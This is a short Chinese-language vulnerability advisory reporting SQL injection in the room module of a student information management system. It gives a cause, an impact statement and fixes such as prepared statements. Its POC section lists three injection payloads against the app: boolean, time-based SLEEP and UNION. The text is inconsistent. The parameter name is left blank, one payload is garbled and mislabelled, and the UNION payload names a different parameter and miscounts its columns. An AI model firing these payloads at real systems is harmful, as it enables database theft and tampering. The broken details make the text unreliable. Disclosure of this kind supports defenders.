关键漏洞信息 受影响产品 Student Information Management System 漏洞文件 /admin/modules/room/index.php 版本 V1.0 漏洞类型 SQL Injection 根因 由于参数 的用户输入验证不足，攻击者可以注入恶意SQL代码并直接在SQL查询中使用，导致未经授权的操作。 影响 攻击者可以利用此SQL注入漏洞获得未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制，甚至服务中断，对系统安全和业务连续性构成严重威胁。 描述 在对学生信息管理系统的安全审查中，发现/admin/modules/room/index.php文件存在严重的SQL注入漏洞。由于参数 的用户输入验证不足，允许攻击者注入恶意SQL查询。因此，攻击者可以获得未经授权的数据库访问、篡改数据和访问敏感信息。需要立即采取补救措施以确保系统安全和保护数据完整性。 漏洞详情和POC 漏洞别名 id参数 Payload示例 参数：id (GET) 类型：基于布尔的盲注 - 参数替换{original_value} Payload: admin' AND (SELECT 6293 FROM(SELECT COUNT(),CONCAT(0x716a6a7171,(SELECT (ELT(6293=6293,1))),0x716a6a7171,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1 类型：基于时间的盲注（查询SLEEP） Payload: admin' AND (SELECT CASE WHEN (9921=9921) THEN SLEEP(5) ELSE (SELECT 8423) END)-- 类型：通用UNION查询（NULL）- 8列 Payload: ViewRoomSlot=-1 UNION ALL SELECT NULL,NULL,CONCAT(0x716b766171,(SELECT (ELT(8423=8423,1))),0x716b766171),NULL,NULL,NULL,NULL,NULL,NULL-- 建议修复 1. 使用预编译语句和参数绑定。 2. 输入验证和过滤。 3. 最小化数据库用户权限。 4. 定期进行安全审计。